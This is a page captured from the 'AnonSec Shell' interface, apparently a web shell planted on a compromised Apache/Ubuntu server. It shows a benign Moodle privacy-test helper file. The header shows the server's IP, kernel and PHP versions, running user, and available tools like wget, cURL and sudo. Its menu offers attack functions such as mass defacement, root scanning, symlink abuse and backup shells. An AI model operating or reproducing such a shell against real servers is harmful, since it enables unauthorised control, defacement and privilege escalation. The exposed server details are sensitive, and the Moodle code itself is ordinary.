AnonSec Shell
Server IP : 165.22.154.248  /  Your IP : 216.73.217.0   [ Reverse IP ]
Web Server : Apache/2.4.29 (Ubuntu)
System : Linux droplet-integra 4.15.0-197-generic #208-Ubuntu SMP Tue Nov 1 17:23:37 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/avanza-lms.old.bak9874115/question/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/avanza-lms.old.bak9874115/question/tests/privacy_helper.php
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Helper for privacy tests.
 *
 * @package    core_question
 * @copyright  2018 Andrew Nicols <andrew@nicols.co.uk>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

defined('MOODLE_INTERNAL') || die();

use \core_privacy\local\request\writer;

/**
 * Helper for privacy tests.
 *
 * @package    core_question
 * @copyright  2018 Andrew Nicols <andrew@nicols.co.uk>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
trait core_question_privacy_helper {
    /**
     * Assert that the question usage in the supplied slot matches the expected format
     * and usage for a question.
     *
     * @param   \question_usage_by_activity $quba The Question Usage to test against.
     * @param   int                         $slotno The slot number to compare
     * @param   \question_display_options   $options    The display options used for formatting.
     * @param   \stdClass                   $data The data to check.
     */
    public function assert_question_slot_equals(
            \question_usage_by_activity $quba,
            $slotno,
            \question_display_options $options,
            $data
        ) {
        $attempt = $quba->get_question_attempt($slotno);
        $question = $attempt->get_question();

        // Check the question data exported.
        $this->assertEquals($data->name, $question->name);
        $this->assertEquals($data->question, $question->questiontext);

        // Check the answer exported.
        $this->assertEquals($attempt->get_response_summary(), $data->answer);

        if ($options->marks != \question_display_options::HIDDEN) {
            $this->assertEquals($attempt->get_mark(), $data->mark);
        } else {
            $this->assertFalse(isset($data->mark));
        }

        if ($options->flags != \question_display_options::HIDDEN) {
            $this->assertEquals($attempt->is_flagged(), (int) $data->flagged);
        } else {
            $this->assertFalse(isset($data->flagged));
        }

        if ($options->generalfeedback != \question_display_options::HIDDEN) {
            $this->assertEquals($question->format_generalfeedback($attempt), $data->generalfeedback);
        } else {
            $this->assertFalse(isset($data->generalfeedback));
        }
    }

    /**
     * Assert that a question attempt was exported.
     *
     * @param   \context    $context The context which the attempt should be in
     * @param   array       $subcontext The base of the export
     * @param   question_usage_by_activity  $quba The question usage expected
     * @param   \question_display_options   $options    The display options used for formatting.
     * @param   \stdClass   $user The user exported
     */
    public function assert_question_attempt_exported(\context $context, array $subcontext, $quba, $options, $user) {
        $usagecontext = array_merge(
            $subcontext,
            [get_string('questions', 'core_question')]
        );

        $writer = writer::with_context($context);

        foreach ($quba->get_slots() as $slotno) {
            $data = $writer->get_data(array_merge($usagecontext, [$slotno]));
            $this->assert_question_slot_equals($quba, $slotno, $options, $data);
        }
    }
}

Anon7 - 2022
AnonSec Team